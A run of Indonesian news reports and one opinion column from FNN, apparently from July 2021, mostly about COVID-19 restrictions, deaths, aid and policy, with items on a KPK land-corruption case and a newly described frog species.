"Besar harapan kami kepada para atlet untuk lebih giat berlatih agar menjadi penerus yang membanggakan," kata dia. Sementara itu Kadis Pemuda dan Olahraga Sumsel Yusuf Wibowo mengucapkan terima kasih atas kepedulian PTBA dalam pembinaan olahraga sepak bola. Ia mengatakan ratusan bola dari PTBA ini akan digunakan pada kompetisi, yang mana pendistribusiannya akan dilakukan hingga ke kabupaten/kota. “Kami sangat berterima kasih, karena bantuan ini dapat memotivasi para pelaku olahraga di Sumsel untuk terus berjuang dalam mencetak atlet,” kata Yusuf. (mth)

BI Papua Kedepankan Penggunaan Uang Digital Hadapi PPKM

Jayapura, FNN - Kantor Perwakilan Bank Indonesia Provinsi Papua akan mengedepankan penggunaan uang digital dalam menghadapi penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di wilayah setempat yang rencananya dilaksanakan pada Agustus 2021. Kepala Kantor Perwakilan Bank Indonesia Provinsi Papua Naek Tigor Sinaga kepada ANTARA di Jayapura, Sabtu, mengatakan, khusus untuk di Bumi Cenderawasih, pihaknya akan lebih banyak mendorong transaksi digital selama penerapan PPKM. "Namun, kami akan tetap menyesuaikan dengan aturan yang ditetapkan oleh pemerintah kaitannya dengan PPKM ini khususnya di Papua," katanya. Menurut Tigor, untuk di Papua, pihaknya sudah siap dalam menghadapi penerapan PPKM ini mengingat kondisi pandemi telah berjalan kurang lebih satu tahun lebih. "AktiVitas perbankan tetap menjadi sektor prioritas baik di Papua khususnya maupun di Jakarta," ujarnya. Dia menjelaskan selain menjaga protokol kesehatan, teknologi QRIS yakni dengan uang digital menjadi jawaban di tengah pandemi. "Kami juga mendorong pengaktifan layanan ATM, dengan plavon yang lebih besar namun tetap disesuaikan dengan kartu ATM yang digunakan," katanya. Dia menambahkan dari sisi perbankan, masih sama seperti sebelumnya sehingga tidak ada hal-hal khusus yang perlu disiapkan dalam menghadapi PPKM pada Agustus 2021 di Papua. (mth)

Covid19 dan Bertapa 40 Hari

By M Rizal Fadillah CENDEKIAWAN muslim, Guru Besar Hukum Tata Negara, dan tentu Menkopolhukam Mahfud MD buat kejutan dan kehebohan lagi. Kali ini soal obat Covid 19 yang menurutnya sangat manjur menyembuhkan. Ia menyatakan telah mempresentasikan obat Covid 19 kepada Presiden Jokowi. "Ini ada obat hasil bertapa 40 hari. Saya menghadap untuk presentasi, ini sudah dicoba orang se-kampung sembuh semua, padahal waktu itu belum ada covid 19". Tentu menggelikan bagaimana itu adalah obat Covid 19 yang dapat menyembuhkan orang se-kampung padahal katanya belum ada Covid 19. Orang se-kampung itu sakit apa ya, kan belum ada Covid. Mahfud MD tidak menyebut nama obat dan di kampung mana itu terjadi. Cerita itu disampaikan saat pertemuan virtual dengan ulama dan ormas keagamaan. Netizen mengomentari nyinyir. Di antaranya "Bhahaha...sial ketemu sampe mencret gua !! Mpud mpud bisa aja Lo dah tua kok ttp bego" Ada pula "Astaga bangun tidur lihat berita ini langsung mules". Ada lagi "pud pud eling pud". Dan banyak komentar lucu lainnya. "Hasil bertapa 40 hari" dipresentasikan kepada Presiden, apa relevansinya ? Apakah memang Presiden menyukai hal-hal yang mistik sehingga Mahfud MD yang latar belakang pendidikannya menuntut rasionalitas tinggi harus menyesuaikan dengan kebiasaan Presiden? Atau untuk meyakinkan bahwa obat Covid itu telah ditemukan di kampung kita sendiri sebelum Covid itu ada ? Meskipun demikian cara berfikir Mahfud MD di hadapan para ulama itu dinilai menyedihkan. Melanggar kaedah berfikir rasional. Berfikir rasional adalah kemampuan untuk mempertimbangkan aspek dan menganalisis relevansi informasi yang berhubungan dengan suatu kejadian baik berupa fakta, opini, maupun data (Ricetto dan Tregoe--2001). Cerita hasil bertapa 40 hari tidak jelas fakta, opini, dan datanya. Terlalu naif mengaitkan obat Covid dengan bertapa 40 hari. Meskipun dikaitkan dengan terapi ketenangan jiwa. Tapi sudahlah, hanya disayangkan saja cerita itu disampaikan di depan ulama dan konteksnya hasil dari presentasi kepada Presiden. Soal mistik yang diangkat-angkat Mahfud jangan-jangan nanti ada yang memframing bahwa Presiden Jokowi tidak terkena Covid 19 karena memelihara cebong di kolam Istana. Atau nanti ada sang penjilat ngomong bahwa obat Covid adalah anak katak atau cebong-cebong yang dijampi-jampi dan disentuh oleh Jokowi. Lebih parah lagi jika ada presentasi bahwa obat Covid yang manjur adalah obat yang dibawa bertapa 40 hari di pinggir kolam Istana. Lalu Mahfud MD pun menceritakan hal ini di depan para ulama. Ah ada ada saja, pak Menteri kita ini. *) Pemerhati Politik dan Kebangsaan

Angka Kematian di Wilayah Kerja KBRI Kualalumpur Meningkat

Kualalumpur, FNN - Jumlah kematian warga negara Indonesia (WNI) di wilayah kerja Kedutaan Besar Republik Indonesia (KBRI) Kualalumpur dalam dua bulan terakhir mengalami peningkatan, baik karena COVID-19 maupun non-COVID-19. "Info tentang angka kematian yang meningkat memang betul terutama untuk bulan Juni dan Juli," ujar Koordinator Fungsi Konsuler KBRI Kuala Lumpur Rijal Al Huda ketika dihubungi melalui Whatsapp di Kualalumpur, Jumat. Rijal mengatakan memang semakin banyak WNI yang meninggal karena COVID-19 dan mayoritas meninggal di luar rumah sakit atau memang tidak menjalani perawatan di rumah sakit. Saat ini, KBRI Kualalumpur bekerja sama dengan Aliansi Organisasi Masyarakat Indonesia (AOMI) di Malaysia telah menyalurkan bantuan logistik kepada warga terdampak COVID-19 dan membantu program rekalibrasi pulang pekerja migran nonprosedural. Sementara itu, data yang beredar di AOMI menyebutkan permintaan surat keterangan kematian di KBRI Kualalumpur pada Juni mencapai 220 orang. Dalam sejarah Perwakilan RI di Kualalumpur, menurut informasi belum pernah terjadi dalam satu bulan ada permintaan surat kematian lebih dari 160 orang. Pada kesempatan terpisah, Ketua Badan Perwakilan KNPI Malaysia Tengku Adnan mengatakan akibat COVID-19 banyak pekerja migran yang menjadi korban dan meninggal dunia. Tengku Adnan beberapa waktu lalu mendistribusikan bantuan logistik KBRI Kualalumpur kepada sejumlah petugas kebersihan WNI di Bistari Condominium, namun dua orang di antaranya kemudian terpapar COVID-19 dan meninggal dunia sedangkan satu di antara petugas kebersihan tersebut meninggal bersama suaminya. Sejumlah ibu-ibu WNI di kondominium tersebut kemudian melakukan gerakan penggalangan asupan multivitamin untuk para tenaga kebersihan dan petugas keamanan. Sementara itu, pimpinan Cabang Istimewa Muhammadiyah (PCIM) Malaysia membentuk Satuan Tugas COVID-19 melihat perkembangan saat ini dan makin banyaknya insiden orang yang wafat, sakit, atau terdampak ekonomi terkait COVID-19. "Pimpinan PCIM telah mengambil keputusan untuk membentuk satuan tugas khusus menyikapi perkembangan ini. Satgas ini menghimpun unsur pimpinan PCIM, Majelis Pelayanan Sosial dan Kesejahteraan Umat, ranting, Lazismu dan Lembaga Penanggulangan Bencana Muhammadiyah (MDMC) agar dapat bergerak cepat dalam koordinasi yang intensif," kata Ketua PCIM Malaysia, Assoc Prof Sonny Zulhuda. (sws)

Spesies Baru Kodok-Pucet Ditemukan di Hutan Pantai Garut

Jakarta, FNN - Lembaga Ilmu Pengetahuan Indonesia menyebutkan penemuan spesies baru katak-pucat pantaiselatan dari marga Chirixalus Boulenger di hutan dataran rendah di Kabupaten Garut, Jawa Barat yang menambah koleksi data keanekaragaman hayati Indonesia. "Setelah dilakukan analisis morfologi, molekuler dengan menggunakan DNA mitokondria dan suara kawin (advertisement call) maka jenis tersebut tidak cocok dengan jenis dari marga yang sudah ada. Oleh karena itu, didukung oleh bukti morfologi, molekuler, dan akustik maka jenis ini dideskripsikan sebagai jenis baru," kata peneliti Pusat Penelitian Biologi LIPI Amir Hamidy dalam keterangan di Jakarta, Jumat. "Katak-pucat pantaiselatan (Chirixalus pantaiselatan sp. nov.) merupakan kelompok katak Rhacophorid kecil dengan panjang tubuh jantan 25,3–28,9 mm. "Sampel katak-pucat pantaiselatan itu dijumpai pada 2017 dalam kegiatan citizen science yakni Gerakan Observasi Amfibi Reptil Kita (Go ARK). "Hasil penelitian tersebut telah diterbitkan pada Raffles Bulletin of Zoology pada 5 Juli 2021. Temuan itu dapat memberikan informasi baru tentang distribusi beberapa spesies atau bahkan jenis baru dari area umum. "Amir yang merupakan salah satu penulis dalam penelitian itu mengatakan Chirixalus pantaiselatan sp. nov. secara morfologi paling mirip dengan Chirixalus nongkhorensis dari Chonburi, Thailand. "Pola warna punggungnya serta secara genetik paling dekat dengan Chirixalus trilaksonoi yang juga berasal dari Jawa Barat," ujar Amir. "Selain Amir, Misbahul Munir yang merupakan salah satu kontributor utama dari penemuan tersebut menuturkan saat ini, status konservasi Chirixalus pantaiselatan kemungkinan terancam kritis. "Berdasarkan International Union for Conservation of Nature (IUCN), kriteria Daftar Merah Spesies Terancam adalah tingkat kemunculannya

Arab Saudi Buka Turis Asing Per 1 Agustus 2021

Kairo, FNN - Kementerian Pariwisata Arab Saudi akan kembali menerima warga asing pemegang visa turis per 1 Agustus, kata otoritas melalui sebuah pernyataan. "Wisatawan yang sudah divaksin akan diizinkan masuk tanpa harus menjalani karantina resmi dengan menyerahkan bukti negatif tes PCR dan sertifikat vaksin," kata kementerian. Vaksin COVID-19 yang akan diterima sertifikatnya adalah vaksin produksi Pfizer, Astrazeneca, Moderna dan Johnson & Johnson, menurut laporan Reuters. Sementara itu, Arab Saudi akan mengizinkan warga penerima dua dosis vaksin COVID-19 bepergian ke luar negeri mulai 9 Agustus, kata Saudi Press Agency (SPA) seperti dikutip kantor berita China Xinhua. Keputusan Kementerian Dalam Negeri Arab Saudi itu muncul sebagai bagian dari langkah pencegahan melawan COVID-19 beserta varian barunya, kata SPA. Keputusan itu tidak berlaku bagi anak di bawah umur 12 tahun, penyintas COVID-19 yang sembuh dalam waktu kurang dari enam bulan, dan mereka yang baru menerima satu dosis vaksin. (sws)

Pengusaha Tolak Syarat Masuk Mal Tunjukkan Surat Vaksin

Surabaya, FNN - Pelaku usaha di Kota Surabaya, Jawa Timur, tidak setuju adanya usulan pengunjung yang masuk mal atau pusat perbelanjaan harus menunjukkan sertifikat telah menjalani vaksiansi COVID-19.I 'Ini seakan-akan selama ini pusat perbelanjaan menjadi pusat klaster penularan dan penyebaran COVID-19," kata Legal Manager Pusat Grosir Surabaya sekaligus pelaku usaha di pusat perbelanjaan Dedy Prasetyo di Surabaya, Kamis. Padahal, lanjut dia, di pusat perbelanjaan itu sangat ketat penerapan protokol kesehatan dibandingkan dengan pasar tradisional dan pusat kerumunan yang lain. Bahkan masuk pusat perbelanjaan di periksa suhu, cuci tangan pakai sabun, tidak pakai masker di suruh keluar, lepas masker ditegur, jarak dan traffic diatur. Menurut dia, kalau memang kebijakan menunjukkan bukti telah vaksin itu adalah aturan yang memang harus dijalankan, maka jangan hanya masuk ke pusat perbelanjaan saja, melainkan bersifat umum. "Ini bukan masalah memberatkan konsumen saja, tapi image-nya itu lho (hanya pusat perdagangan) yang wajib memberlakukan itu," ujarnya. Selain itu, ia juga menyesalkan pernyataan Ketua Asosiasi Pengelola Pusat Belanja Indonesia (APPBI) Jatim Sutandi Purnomosidi di salah satu media cetak di Surabaya yang menilai positif adanya usulan tersebut sebagai upaya mencegah penularan COVID-18 di tempat perbelanjaan. "Pak Sutandi kok setuju kalau ada usulan aturan masuk tunjukkan bukti vaksin. Saya pikir Pak Sutandi harus melihatnya dari sisi lainnya juga," katanya. "Kamar Dagang dan Industri (Kadin) Indonesia sebelumnya mengusulkan pengunjung mal harus menunjukkan kartu vaksinasi COVID-19 saat penerapan PPKM. Tak hanya pengunjung, pekerja di dalam mal tersebut juga harus sudah divaksinasi agar mal dapat beroperasi secara normal. "Ketua Umum Kadin Arsjad Rasjid dalam konferensi pers di Jakarta, Minggu (25/7) mengatakan, usulan tersebut akan diutarakan kepada pemerintah dalam waktu dekat. Sebab, ia ingin roda ekonomi tetap berjalan sembari menerapkan protokol kesehatan yang ketat. "Menurut dia, jika tidak mengambil langkah yang tepat, dampak COVID-19 juga akan berdampak kepada sektor ekonomi dan sosial yang dirasakan langsung oleh masyarakat. (sws)

Pemerintah Diminta Mawas Diri Setelah Dilarang Masuk di Banyak Negara

Jakarta, FNN - Anggota Komisi I DPR RI Anton Suratto minta Pemerintah Indonesia evaluasi setelah banyak negara dan daerah di luar negeri melarang masuk warga negara Indonesia (WNI) akibat lonjakan kasus positif (COVID-19) di dalam negeri. Ia pun meminta pemerintah memikirkan strategi memperbaiki citra Indonesia di luar negeri, salah satunya dengan mengendalikan lonjakan kasus COVID-19 di dalam negeri. Sementara itu, Kementerian Luar Negeri RI, menurut Anton sebagaimana dikutip dari keterangan tertulisnya di Jakarta, Jumat, perlu menggerakkan seluruh perwakilannya di berbagai forum internasional agar citra Indonesia membaik. "Seluruh sumber daya diplomatik yang dimiliki oleh Indonesia yang sudah ditugaskan di berbagai penjuru dunia harus memiliki visi perbaikan citra Indonesia di tengah permasalahan pandemi. Selain itu, perwakilan Indonesia di berbagai forum internasional juga harus memperbaiki strategi komunikas-inya agar kepentingan Indonesia bisa disuarakan di forum global tersebut,” tutur dia. Ia menyadari bahwa kebijakan beberapa negara melarang WNI masuk merupakan hak mereka sebagai pihak yang berdaulat. "Tidak ada satu pun entitas di dunia ini yang bisa mengintervensi kebijakan tersebut," ucap Anton. Namun, pemerintah diharapkan mengambil tindakan lebih lanjut setelah adanya kebijakan pelarangan itu. Pasalnya, pelarangan dan citra buruk itu berdampak pada sulitnya jamaah umrah asal Indonesia dan buruh migran Indonesia masuk ke negara-negara yang menjadi tujuan kerja mereka. Tidak hanya itu, peluang bisnis dan beragam kesempatan investasi pun turut terganggu akibat masuknya Indonesia dalam daftar negara yang penanganan COVID-19-nya masih kurang baik, ujarnya. “Yang bisa dilakukan Kemlu adalah memperkuat otot diplomasi,” ucap Anton merujuk pada para strategi diplomasi duta besar dan perwakilan RI di luar negeri. Negara dan daerah di luar negeri yang pada pertengahan Juli 2021 menutup pintunya bagi WNI, antara lain Singapura, Uni Emirat Arab, Oman, Arab Saudi, Filipina, Bahrain, beberapa negara Eropa terutama yang tergabung dalam visa schengen, Hong Kong dan Taiwan. (sws)

Satgas Tindak Tegas Pelanggaran Ketua PCNU Jember Saat PPKM

Jember, FNN - Satgas Penanganan COVID-19 menindak tegas hajatan yang digelar Ketua Pengurus Cabang Nahdlatul Ulama (PCNU) Jember KH Abdullah Syamsul Arifin atau yang biasa dipanggil Gus Aab saat penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) karena dinilai melanggar protokol kesehatan. "Acara pernikahan di tengah penerapan PPKM Level 4 dinilai melanggar aturan dan kepada pihak penyelenggara langsung diberikan sanksi tegas," kata Bupati Jember yang juga Ketua Satgas Penanganan COVID-19 Hendy Siswanto kepada sejumlah wartawan di Jember, Jumat. Ia menjelaskan resepsi pernikahan terjadi di Ponpes Darul Arifin di Desa Curahkalong, Kecamatan Bangsalsari pada 28 Juli 2021 dan acara tersebut tidak mengikuti protokol kesehatan, sehingga pihaknya bersama TNI dan Polri melakukan penyelidikan atas kasus pelanggaran protokol kesehatan itu. "Hari ini digelar sidang pelanggaran protokol kesehatan dan dari sidang itu ada keputusan jelas yakni denda Rp10 Juta dan kurungan 15 hari karena dinilai melanggar protokol kesehatan," tuturnya. Ia mengimbau masyarakat untuk lebih hati-hati saat pandemi dan jangan lihat dendanya, namun lihat dampaknya untuk melindungi rakyat terutama nyawa akibat COVID-19 ini. "Kami minta tolong, agar masyarakat mengikuti protokol kesehatan dan saya sebagai Ketua Satgas kembali mengingatkan karena tujuan kami dalam penerapan PPKM Level 4 untuk melindungi nyawa," katanya. Selain adanya pelanggaran protokol kesehatan dalam resepsi pernikahan anak Ketua PCNU Jember itu, juga ada dugaan pelanggaran protokol kesehatan lainnya dengan mengadakan acara pernikahan di tengah penerapan PPKM yang dilakukan oleh seorang tokoh masyarakat lain di Jember. "Ada lagi satu tokoh masyarakat yang diduga melanggar protokol kesehatan dan jika terjadi pelanggaran maka akan kami tindak tegas. Saat ini masih kami selidiki bersama TNI-Polri dan akan disidangkan juga jika terbukti melanggar," ujarnya. Sementara itu, bertempat di Kantor Satpol PP Jember dilaksanakan sidang virtual pelanggaran protokol kesehatan dengan proses penindakan diawali dengan pemeriksaan beberapa saksi di lokasi pelaksanaan, termasuk dari pihak orang tua mempelai dan Ketua Panitia Pelaksanaan Hajatan yang dihadiri oleh Satgas. Dalam sidang tersebut hadir Ketua Panitia penyelenggara acara hajatan di Desa Curahkalong yakni Taufik Hidayat yang menjadi terdakwa dalam kasus pelanggaran protokol kesehatan tersebut. Sementara Kasi Humas Polres Jember Iptu Brisan mengatakan dalam sidang tersebut tersangka dinyatakan melanggar protokol kesehatan dan hasil sidang memutuskan terdakwa dikenakan pidana denda Rp10 juta dengan kurungan 15 hari. (sws)

Ketua MPR Meminta Kemensos Tindaklanjuti Pungli Bansos

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo meminta Kementerian Sosial (Kemensos) segera menindak lanjuti temuan pungli bantuan sosial (bansos) yang ditemukan Menteri Sosial Tri Rismaharini dalam sebuah inspeksi mendadak. “Meminta Kementerian Sosial segera menindak lanjuti dengan melaporkan kejadian tersebut kepada Kepolisian,” kata Bambang Soesatyo dalam keterangannya di Jakarta, Jumat. Dia menyatakan bahwa tindak lanjut itu agar dapat mengungkap latar belakang serta mengusut tuntas adanya pungli terkait dana bansos sehingga oknum yang diduga terlibat dapat segera ditindak. Sebelumnya, Menteri Sosial (Mensos) Tri Rismaharini menemukan praktik pungutan liar (pungli) bansos bantuan pangan non-tunai (BPNT) saat melakukan inspeksi mendadak di Kota Tangerang, Banten pada Rabu (28/7). Ketua MPR kemudian juga meminta komitmen Kemensos untuk memastikan bantuan-bantuan sosial bagi masyarakat terdampak COVID-19 sesuai dengan data penerima bansos dan diterima secara penuh. Komitmen itu, lanjutnya, harus diiringi dengan upaya mengantisipasi atau pun mencegah terjadinya pungli atau penyelewengan dana terkait bansos. Politisi Partai Golkar itu juga meminta aparat berwenang untuk meningkatkan pengawasan terhadap petugas atau panitia penyaluran dana bantuan sosial tunai (BST) serta Program Keluarga Harapan (PKH) ataupun BPNT. Menurut dia, hal itu harus dilakukan agar penyaluran bansos dapat tepat sasaran dan bisa bermanfaat disamping mencegah pungli maupun penyelewengan dana bansos oleh pihak yang tidak bertanggung jawab. Warga penerima PKH, kata Bamsoet, juga diminta untuk dapat mengecek ulang bantuan yang diberikan serta melaporkan kepada aparat petugas atau Kepolisian apabila terdapat pemotongan atau tidak menerima secara penuh. “Agar aparat dapat menelusuri dan menindak lanjuti aduan tersebut,” ujarnya. Mensos Risma sebelumnya juga telah telah meminta masyarakat penerima bansos baik BST, PKH dan BPNT atau Program Sembako untuk menolak jika dimintai pungutan dalam bentuk apapun. "Tolong bantu kami untuk mengetahui apakah ada pemotongan atau tidak, kalau gini-gini terus tidak bisa selesai urusannya dan kapan warga mau bisa sejahtera," kata Risma pada Rabu (28/7). (sws)

Ketua MPR Meminta Kemenkes Evaluasi Kematian Tertinggi Covid19

Jakarta, FNN - Politisi Partai Golkar yang juga Ketua MPR RI Bambang Soesatyo meminta Kementerian Kesehatan (Kemenkes) melakukan evaluasi terkait catatan rekor tertinggi kematian akibat COVID-19 pada Juli 2021. “Meminta Kemenkes menjadikan kasus kematian akibat COVID-19 sebagai koreksi pelaksanaan penanganan terhadap pasien, selanjutnya mengevaluasi secara komprehensif catatan kasus kematian tersebut,” kata Bambang Soesatyo dalam keterangannya di Jakarta, Jumat. Menurut dia, hal itu dilakukan agar mendapatkan solusi terbaik untuk menekan angka kematian, dan mengupayakan pencegahan yang lebih masif dan maksimal. Pada Kamis (29/7), Koordinator Tim Pakar dan Juru Bicara Satuan Tugas Penanganan COVID-19 Wiku Adisasmito mengatakan bahwa Juli 2021 menjadi bulan dengan catatan kematian tertinggi akibat COVID-19 sejak pandemi melanda Indonesia. Hingga Rabu (28/7) Wiku menyatakan terdapat 30.168 kematian dan menyebut bahwa angka itu sangat tinggi mengingat catatan kematian akibat COVID-19 pada Juni 2021 berada di angka 7.913 kematian. Bambang Soesatyo atau yang akrab disapa Bamsoet meminta Kemenkes menambah tempat isolasi dan rumah sakit lapangan untuk meningkatkan performa perawatan bagi pasien COVID-19, khususnya yang bergejala berat. Ruangan isolasi, katanya, juga perlu dilengkapi dengan perlengkapan yang sesuai dengan standar ruang perawatan, seperti bel untuk memanggil tenaga kesehatan (nakes), sirkulasi udara yang baik, tempat tidur yang memadai, hingga ketersediaan sarana hiburan. Menurut Bamsoet, sarana hiburan seperti televisi atau radio dibutuhkan mengingat selama menjalani isolasi, selain memulihkan kembali kondisi fisik, kondisi mental pasien COVID-19 juga harus dijaga. Kemenkes juga diminta memastikan kebutuhan pendukung perawatan bagi pasien COVID-19, seperti kebutuhan oksigen, nakes, obat-obatan, tenda serbaguna, ventilator, selimut, dan kebutuhan lainnya. Hal itu agar pasien dapat menerima perawatan yang maksimal dan memiliki peluang besar untuk pulih kembali. Pada saat yang sama Kemenkes diharapkan menggencarkan pengetesan dan pelacakan di setiap wilayah sehingga apabila ditemukan seseorang terpapar virus corona, orang tersebut dapat segera mendapatkan pertolongan. Selain itu, Bamsoet juga meminta Kemenkes memperhatikan keseimbangan pemberitaan di media, mengingat ada baiknya apabila pemberitaan COVID-19 diiringi dengan kabar baik, seperti angka kesembuhan. Diharapkan, masyarakat kemudian tidak terbebani secara berlebihan yang dapat memicu menurunnya imun tubuh. Selain itu, Bamsoet mengimbau kepada seluruh masyarakat Indonesia untuk menjalani tes COVID-19 secara jujur dan tidak malu atau ragu untuk mengakui apabila terpapar. “Hal tersebut sangat penting untuk menjaga kesehatan diri sendiri dan juga orang lain, mengingat tidak semua orang memiliki imunitas yang baik, sehingga penting untuk mencegah penularan ke orang lain,” ujarnya. Seluruh masyarakat Indonesia diharapkan juga patuh dan taat pada protokol kesehatan yang ada, sebab dibutuhkan kerja sama dan kekompakan dari seluruh pihak untuk memutus mata rantai virus corona. (sws)

KPK Dalami Pengeluaran Dana Sarana Jaya Bayar Tanah di Munjul

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami pengeluaran dana Perumda Pembangunan Sarana Jaya untuk pembayaran tanah di Munjul, Jakarta Timur. KPK, Jumat memeriksa karyawan Perumda Pembangunan Sarana Jaya Wahyu Hidayat sebagai saksi untuk tersangka mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC) dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta Tahun 2019. "Dikonfirmasi terkait dengan prosedur pengeluaran dana pada Perumda Pembangunan Sarana Jaya yang diperuntukkan untuk pembayaran tanah yang berlokasi di Munjul," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta. Selain Yoory, KPK juga menetapkan empat tersangka lainnya, yaitu Direktur PT Adonara Propertindo Tommy Adrian (TA), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI), dan satu tersangka korporasi PT Adonara Propertindo. KPK menduga ada kerugian keuangan negara setidak-tidaknya Rp152,5 miliar. Awalnya, Sarana Jaya yang bergerak di bidang properti tanah dan bangunan mencari tanah di Jakarta yang akan dijadikan unit bisnis ataupun bank tanah. Pada 4 Maret 2019, Anja bersama-sama Tommy dan Rudy menawarkan tanah di Munjul seluas lebih kurang 4,2 hektare kepada pihak Sarana Jaya. Akan tetapi, saat itu kepemilikan tanah tersebut masih sepenuhnya milik Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Anja dan Tommy lalu bertemu dengan Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus di Yogyakarta, kemudian disepakati ada pembelian tanah di Munjul dan disepakati harga tanah adalah Rp2,5 juta per meter sehingga total harga tersebut Rp104,8 miliar. Pembelian tanah pada tanggal 25 Maret 2019 langsung perikatan jual beli sekaligus pembayaran uang muka oleh Anja dan Tommy dengan jumlah sekitar Rp5 miliar melalui rekening bank atas nama Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Pelaksanaan serah terima Sertifikat Hak Guna Bangunan (SHGB) dan tanah girik dari pihak Kogregasi Suster-Suster Cinta Kasih Carolus Boromeus melalui notaris yang ditunjuk oleh Anja. Anja, Tommy, dan Rudy lantas menawarkan tanah kepada pihak Sarana Jaya dengan harga Rp7,5 juta per meter dengan total Rp315 miliar. Diduga terjadi negosiasi fiktif dengan kesepakatan harga Rp5,2 juta per meter dengan total Rp217 miliar. Maka, pada 8 April 2019 dilakukan penandatanganan pengikatan akta perjanjian jual beli di hadapan notaris di Kantor Sarana Jaya antara pihak pembeli (Yoory) dan pihak penjual (Anja) dan dilakukan pembayaran sebesar 50 persen atau sekitar Rp108,9 miliar ke rekening bank milik Anja pada Bank DKI. Selang beberapa waktu kemudian, atas perintah Yoory dilakukan pembayaran oleh Sarana Jaya kepada Anja sekitar sejumlah Rp43,5 miliar. (sws)

Hutan Wanagama UGM Digunakan Sebagai Shelter Penanganan Covid

Yogyakarta, FNN - Rumah peneliti di Hutan Pendidikan Wanagama Universitas Gadjah Mada (UGM) di Kabupaten Gunungkidul, Provinsi Daerah Istimewa Yogyakarta (DIY) mulai digunakan sebagai shelter penanganan pasien positif COVID-19 bergejala ringan, Jumat (30/7) 2021. Pemanfaatan rumah peneliti Wanagama di Kecamatan Playen itu ditandai dengan penandatangan perjanjian kerja sama antara Pemerintah Kabupaten Gunungkidul dan Fakultas Kehutanan UGM. "Ini kedua kalinya Wanagama digunakan sebagai shelter. Sebelumnya untuk warga yang reaktif 'rapid test', saat ini yang ditempatkan adalah yang sudah betul-betul positif COVID-19," kata Dekan Fakultas Kehutanan UGM Dr Budiadi dalam pernyataan di Yogyakarta, Jumat. Ia mengatakan UGM berusaha semaksimal mungkin untuk menyumbangkan sumber daya yang dimiliki bagi penanganan COVID-19. Pemanfaatan rumah peneliti Wanagama sebagai shelter itu, kata dia, diharapkan dapat mendukung upaya pemerintah daerah dalam menangani pasien dan menekan angka kematian. "Di sini isolasi bisa maksimal karena tidak berinteraksi dengan masyarakat sekitar dan lingkungannya lebih sehat. Mudah-mudahan jika diisolasi di sini lebih cepat sembuh karena kondisinya mendukung," katanya. Menurut dia shelter Wanagama memiliki kapasitas sebanyak 51 tempat tidur. Selain kamar isolasi, menurut Budiadi, terdapat kopel khusus instalasi gawat darurat (IGD) yang dilengkapi dengan konsentrator oksigen, serta ruangan khusus bagi tenaga kesehatan. Bupati Gunungkidul Sunaryanta menyebutkan bahwa shelter Wanagama menjadi satu dari sejumlah tempat isolasi yang dikelola oleh pemerintah kabupaten. Keberadaan shelter terpadu, menurutnya, menjadi penting mengingat jumlah kasus di Kabupaten Gunungkidul masih cukup tinggi. "Kerja sama ini sangat penting bagi kami. Meski beberapa hari ini menurun, namun jumlah yang isolasi mandiri masih cukup tinggi, sekitar 2.500 orang," katanya. Dengan berada di shelter terpadu, kata dia, kondisi pasien yang melakukan isolasi mandiri dapat terpantau dan lebih cepat mendapat penanganan. Harapannya tidak ada lagi masyarakat yang meninggal ketika melakukan isolasi mandiri di rumah dan terlambat dibawa ke rumah sakit. "Mudah-mudahan dengan cara-cara yang diambil oleh pemerintah dengan bekerja sama dengan para stakeholder, di samping vaksinasi yang terus didorong, tidak lama lagi kasusnya mulai turun," kata Sunaryanta. Sedangkan Direktur Hutan Pendidikan Wanagama Dr Dwiko Budi Permadi menyatakan shelter ini dikelola oleh Dinas Kesehatan serta Dinas Sosial Kabupaten Gunungkidul, dan saat ini menampung delapan pasien konfirmasi bergejala ringan. Hutan Pendidikan Wanagama selama ini digunakan sebagai tempat praktikum dan penelitian bagi mahasiswa maupun dosen Fakultas Kehutanan UGM. Namun, mengingat kondisi pandemi yang belum mereda dan pemberlakuan kebijakan PPKM, aktivitas praktikum mahasiswa di Wanagama untuk sementara ditiadakan. Ia menjelaskan aktivitas penelitian nantinya dapat tetap dilakukan di luar area rumah penelitian, dengan sejumlah pengaturan untuk mencegah penularan COVID-19. "Untuk riset masih dilakukan di luar area rumah peneliti. Untuk praktikum mengikuti kebijakan PPKM dan fakultas," demikian Dwiko Budi PermadPermadi. (sws)

AQL Bagikan Tabung Oksigen Gratis Bagi Pasien Isoman

Jakarta, FNN - Lembaga kemanusiaan Ar-Rahman Quran Learning (AQL) Peduli kembali membagikan oksigen medis gratis kepada pasien yang tengah menjalani isolasi mandiri di sekitar wilayah Jakarta, Bogor, Depok, Tangerang dan Bekasi atau Jabodetabek. "Saat-saat pasien COVID-19 yang terpapar, menentukan hidup atau mati. Sedekah satu oksigen menyelamatkan satu nyawa," ujar Direktur AQL Peduli Firman Fabi, dalam keterangan tertulis yang diterima di Jakarta, Jumat. Pembagian oksigen gratis ini sebagai lanjutan setelah sebelumnya AQL telah memenuhi kebutuhan pasien isoman di Jakarta, beberapa pekan lalu. Kali ini, AQL mampu menyuplai 800 tabung oksigen gratis kepada masyarakat, terutama kepada pasien COVID-19 yang tengah menjalani isolasi mandiri di Jabodetabek. Menurut Firman, oksigen medis menjadi kebutuhan yang sangat vital saat ini, utamanya bagi mereka yang memiliki gejala sesak napas. Pada kondisi itu, mereka harus mendapatkan bantuan oksigen medis guna membantu pernapasan. "Dari sini kami melihat bahwa oksigen sangat dibutuhkan, bahkan mereka bagaimana mencarinya itu sulit untuk mendapatkannya. Karena itu kami bekerja sama dengan beberapa tempat pengisian oksigen," kata dia. Firman memastikan pendistribusian oksigen tetap menerapkan protokol kesehatan ketat. Skema pembagian tabung oksigen dilakukan dengan memberikan sebuah kupon kepada masing-masing warga. Satu kupon untuk satu tabung. Meski dalam sistem kupon, pihaknya memastikan tidak akan kehabisan. Tim akan mengusahakan semua warga 